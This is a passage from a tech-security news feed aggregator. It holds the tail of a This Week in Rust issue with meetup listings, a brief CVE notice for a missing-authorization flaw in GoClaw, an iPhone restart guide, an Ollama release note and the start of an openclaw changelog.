<li>2026-06-23 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/313767883/"><strong>Lunch &amp; Learn: What the heck are monads - and how do we fake them in Rust</strong></a></li>
</ul>
</li>
<li>2026-07-01 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/wqzhftyjckbcb/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-06-09 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315070733/"><strong>Rust by Example - Lifetimes</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-06-03 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin">Rust Dublin</a><ul>
<li><a href="https://www.meetup.com/rust-dublin/events/314689875/"><strong>Join us live and INPERSON for Rust 261</strong></a></li>
</ul>
</li>
<li>2026-06-03 | Girona, ES | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/4bmlc7qd"><strong>Rust Girona Hack &amp; Learn 06 2026</strong></a></li>
</ul>
</li>
<li>2026-06-10 | München, DE | <a href="https://www.meetup.com/rust-munich">Rust Munich</a><ul>
<li><a href="https://www.meetup.com/rust-munich/events/313791798/"><strong>Rust Munich 2026 / 2 - Hacking Evening</strong></a></li>
</ul>
</li>
<li>2026-06-11 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a><ul>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
</ul>
</li>
<li>2026-06-12 - 2026-06-14 | Kraków, PL | <a href="https://rustmeet.eu/">Rustmeet</a><ul>
<li><a href="https://rustmeet.eu/"><strong>Rustmeet</strong></a></li>
</ul>
</li>
<li>2026-06-16 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313813937/"><strong>Interactive: Everything is Open Source</strong></a></li>
</ul>
</li>
<li>2026-06-16 | Milano, IT | <a href="https://www.meetup.com/rust-language-milano">Rust Language Milan</a><ul>
<li><a href="https://www.meetup.com/rust-language-milan/events/314766950/"><strong>Real-time planning in Rust: SolverForge &amp; SERIO</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/314965238/"><strong>Talk Night at Danske Commodities</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315040676/"><strong>Rust meetup #86</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/314396600/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-06-04 | Chicago, IL, US | <a href="https://www.meetup.com/chicago-rust-meetup">Chicago Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/chicago-rust-meetup/events/314983693/"><strong>Rust Happy Hour</strong></a></li>
</ul>
</li>
<li>2026-06-04 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314106244/"><strong>Testing, Coverage, Tracey &amp; Mutations</strong></a></li>
</ul>
</li>
<li>2026-06-06 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314480539/"><strong>Boston Common Rust Lunch, June 6</strong></a></li>
</ul>
</li>
<li>2026-06-11 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696643/"><strong>Utah Rust June Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-11 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/314825006/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-06-11 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/313721899/"><strong>San Diego Rust June Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-06-16 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314989012/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-06-16 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/ghhwqtyjcjbvb/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-06-17 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314000478/"><strong>Rust Study/Hack/Hang-out</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314236370/"><strong>June, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjcjbgc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-06-24 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/314386080/"><strong>Rust LA: Rust-Based Constraint Solvers in 2D Sketching with Zoo Technologies</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539326/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-06-26 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315014582/"><strong>Rust NYC's Big Summer Social</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-06-25 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039461/"><strong>Rust Melbourne June 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-06-18 | Florianópolis, BR | <a href="https://luma.com/rust-sc">Rust SC</a><ul>
<li><a href="https://luma.com/acinctdf"><strong>Rust Floripa</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>If memory safety bugs were Waldo (Wally): finding them in C programs is a "Where's Waldo?" game, and Rust's <code>unsafe</code> simplifies it to "Is <em>this</em> Waldo?"</p>
</blockquote>
<p>– <a href="https://users.rust-lang.org/t/is-unsafe-rust-worse-than-c/140286/25">kornel on rust-users</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1776">Moy2010</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1twbzid/this_week_in_rust_654/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-10616 | nextlevelbuilder GoClaw up to 3.11.3 Team Task Completion team_tasks_lifecycle.go TeamTasksTool.executeComplete authorization (Issue 1133 / EUVD-2026-34002)]]></title>
<description><![CDATA[A vulnerability was found in nextlevelbuilder GoClaw up to 3.11.3 and classified as critical. The impacted element is the function TeamTasksTool.executeComplete of the file internal/tools/team_tasks_lifecycle.go of the component Team Task Completion Handler. Executing a manipulation can lead to m...]]></description>
<link>https://tsecurity.de/de/3570311/sicherheitsluecken/cve-2026-10616-nextlevelbuilder-goclaw-up-to-3113-team-task-completion-teamtaskslifecyclego-teamtaskstoolexecutecomplete-authorization-issue-1133-euvd-2026-34002/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570311/sicherheitsluecken/cve-2026-10616-nextlevelbuilder-goclaw-up-to-3113-team-task-completion-teamtaskslifecyclego-teamtaskstoolexecutecomplete-authorization-issue-1133-euvd-2026-34002/</guid>
<pubDate>Wed, 03 Jun 2026 18:38:57 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/nextlevelbuilder:goclaw">nextlevelbuilder GoClaw up to 3.11.3</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. The impacted element is the function <code>TeamTasksTool.executeComplete</code> of the file <em>internal/tools/team_tasks_lifecycle.go</em> of the component <em>Team Task Completion Handler</em>. Executing a manipulation can lead to missing authorization.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-10616">CVE-2026-10616</a>. The attack may be launched remotely. Furthermore, there is an exploit available.

The project tagged the reported issue as bug.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Restart iPhone: Easy Methods for Every iPhone Model]]></title>
<description><![CDATA[If your iPhone is running slowly, apps keep crashing, or the screen becomes unresponsive, restarting the device is often the quickest fix. Apple offers several ways to restart an iPhone depending on the problem you're facing. A standard restart works for minor issues, while a force restart can he...]]></description>
<link>https://tsecurity.de/de/3568563/ios-mac-os/how-to-restart-iphone-easy-methods-for-every-iphone-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568563/ios-mac-os/how-to-restart-iphone-easy-methods-for-every-iphone-model/</guid>
<pubDate>Wed, 03 Jun 2026 08:53:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If your iPhone is running slowly, apps keep crashing, or the screen becomes unresponsive, restarting the device is often the quickest fix. Apple offers several ways to restart an iPhone depending on the problem you're facing. A standard restart works for minor issues, while a force restart can help when the phone is frozen. In more serious cases, a factory reset may be necessary.



This guide explains how to restart an iPhone using all available methods, including soft restart, force restart, and factory reset options.



Table of contentsSoft Restart (Normal Restart)For iPhone X, iPhone 11, iPhone 12, iPhone 13, iPhone 14, iPhone 15, iPhone 16, and newerFor iPhone 6, iPhone 7, iPhone 8, and iPhone SE (2nd and 3rd Generation)For iPhone SE (1st Generation), iPhone 5, and EarlierForce Restart iPhone (Hard Reset)For iPhone 8 and LaterFor iPhone 7 and iPhone 7 PlusFor iPhone 6s, iPhone SE (1st Generation), and EarlierWhen Should You Use a Force Restart?Factory Reset iPhone Without a ComputerFactory Reset iPhone Using a ComputerFAQsSummaryConclusion



Soft Restart (Normal Restart)



A soft restart is the safest and most common way to reboot your iPhone. It closes background processes and refreshes the system without deleting any data.



For iPhone X, iPhone 11, iPhone 12, iPhone 13, iPhone 14, iPhone 15, iPhone 16, and newer




Press and hold either Volume Up or Volume Down together with the Side button.



Wait until the Power Off slider appears.



Drag the slider to turn off your iPhone.



Wait about 30 seconds.



Press and hold the Side button until the Apple logo appears.




For iPhone 6, iPhone 7, iPhone 8, and iPhone SE (2nd and 3rd Generation)




Press and hold the Side button.



When the Power Off slider appears, drag it.



Wait 30 seconds for the device to shut down completely.



Press and hold the Side button until the Apple logo appears.




For iPhone SE (1st Generation), iPhone 5, and Earlier




Press and hold the Top button.



Drag the Power Off slider.



Wait around 30 seconds.



Press and hold the Top button until the Apple logo appears.








Force Restart iPhone (Hard Reset)



If your iPhone is frozen, stuck on a black screen, or not responding to touch, a force restart can help. Unlike a normal restart, this method immediately reboots the device without requiring the Power Off slider.



For iPhone 8 and Later




Quickly press and release the Volume Up button.



Quickly press and release the Volume Down button.



Press and hold the Side button.



Keep holding until the Apple logo appears.



Release the button and wait for the iPhone to restart.




For iPhone 7 and iPhone 7 Plus




Press and hold the Volume Down button and the Side button together.



Continue holding both buttons.



Release them when the Apple logo appears.




For iPhone 6s, iPhone SE (1st Generation), and Earlier




Press and hold the Home button and Power button together.



Keep holding until the Apple logo appears.



Release both buttons.




When Should You Use a Force Restart?



Use this method when:




The screen is frozen.



Apps stop responding.



The iPhone gets stuck on the Apple logo.



Touch controls stop working.



The phone becomes extremely slow and unresponsive.




A force restart does not erase your data.







Factory Reset iPhone Without a Computer



A factory reset completely erases your iPhone and restores it to factory settings. Use this only if troubleshooting methods have failed or you plan to sell or give away the device.



Before You Start:




Back up your iPhone using iCloud or a computer.



Make sure you know your Apple ID password.



Keep your phone charged.




Steps




Open Settings.



Tap General.



Select Transfer or Reset iPhone.



Tap Erase All Content and Settings.



Review the information shown on screen.



Tap Continue.



Enter your passcode.



Enter your Apple ID password if prompted.



Choose whether to keep or remove your eSIM.



Tap Erase iPhone.



Wait for the process to finish.




After completion, the iPhone will restart and display the Hello setup screen.







Factory Reset iPhone Using a Computer



If your iPhone will not boot properly or you cannot access Settings, you can restore it using a Mac or Windows PC.




Turn off Find My iPhone if possible.



Connect your iPhone to your computer using a USB cable.



Open Finder on macOS Catalina or later.



Open Apple Devices or iTunes on Windows or older Macs.



Select your iPhone.



Click Restore iPhone.



Confirm the action.



Wait while the latest iOS version is installed.



Set up the iPhone as new or restore from a backup.








FAQs



Does restarting an iPhone delete data? No. A normal restart or force restart does not delete photos, apps, messages, or settings.  What is the difference between restart and force restart? A restart shuts down the iPhone normally and then powers it back on. A force restart immediately reboots the device when it becomes frozen or unresponsive.  How often should I restart my iPhone? Restarting once every week or two can help clear temporary glitches and improve performance.  Will a factory reset remove everything? Yes. A factory reset erases all apps, photos, messages, settings, and personal data unless you restore from a backup afterward.  What should I do if my iPhone won't restart? Try a force restart first. If that doesn't work, use recovery mode and restore the device through a computer.  







Summary




Use a soft restart for everyday performance issues.



Use a force restart when your iPhone is frozen or unresponsive.



Use a factory reset without a computer if software problems persist.



Use a computer-based restore when the iPhone won't boot normally.



Always create a backup before performing a factory reset.




Conclusion



Knowing how to restart iPhone properly can save you from unnecessary troubleshooting and trips to a repair center. Start with a normal restart for minor glitches, move to a force restart if the device is frozen, and only consider a factory reset as a last resort. In most cases, a simple reboot is enough to get your iPhone running smoothly again.]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.30.1: llm: ignore llama-server SSE ping comments (#16443)]]></title>
<description><![CDATA[llama.cpp b9478 added a default 30s SSE ping that emits colon-only comment frames (":\n\n") while streamed requests are idle; Ollama treated non-data SSE lines as JSON, so skip SSE comments in completion and chat streams.]]></description>
<link>https://tsecurity.de/de/3567797/downloads/v0301-llm-ignore-llama-server-sse-ping-comments-16443/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567797/downloads/v0301-llm-ignore-llama-server-sse-ping-comments-16443/</guid>
<pubDate>Wed, 03 Jun 2026 00:46:18 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>llama.cpp b9478 added a default 30s SSE ping that emits colon-only comment frames (":\n\n") while streamed requests are idle; Ollama treated non-data SSE lines as JSON, so skip SSE comments in completion and chat streams.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.6.1-beta.2]]></title>
<description><![CDATA[2026.6.1
Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Sl...]]></description>
<link>https://tsecurity.de/de/3564438/downloads/openclaw-202661-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564438/downloads/openclaw-202661-beta2/</guid>
<pubDate>Tue, 02 Jun 2026 00:01:21 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.6.1</h2>
<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, memory watchers, and store writes do less repeated work on hot paths while keeping config, dispatch, and Linux file-watch behavior stable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565501615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89185/hovercard" href="https://github.com/openclaw/openclaw/pull/89185">#89185</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565570172" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89188" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89188/hovercard" href="https://github.com/openclaw/openclaw/pull/89188">#89188</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502554299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85351" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85351/hovercard" href="https://github.com/openclaw/openclaw/pull/85351">#85351</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skill Workshop now has a fuller Control UI flow with proposal lists, today actions, revision handoff, searchable file previews, review states, locale coverage, and reusable session routing.</li>
<li>Chat and Control UI startup paths keep sends alive through history loading, stream deltas incrementally, skip markdown work while streaming, keep drafts local while typing, clear the composer after sends, trace first-output latency, prioritize first connect, and expose calmer composer controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559381540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88825" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88825/hovercard" href="https://github.com/openclaw/openclaw/pull/88825">#88825</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561967219" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89030/hovercard" href="https://github.com/openclaw/openclaw/pull/89030">#89030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563810098" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89106" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89106/hovercard" href="https://github.com/openclaw/openclaw/pull/89106">#89106</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</li>
<li>Provider coverage and model metadata now include MiniMax M3, account OAuth endpoints, Google/Vertex catalog fixes, OpenRouter SQLite model caching, Copilot Claude 1M capabilities, Foundry reasoning alignment, and OpenAI response replay guards. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559632397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88851/hovercard" href="https://github.com/openclaw/openclaw/pull/88851">#88851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
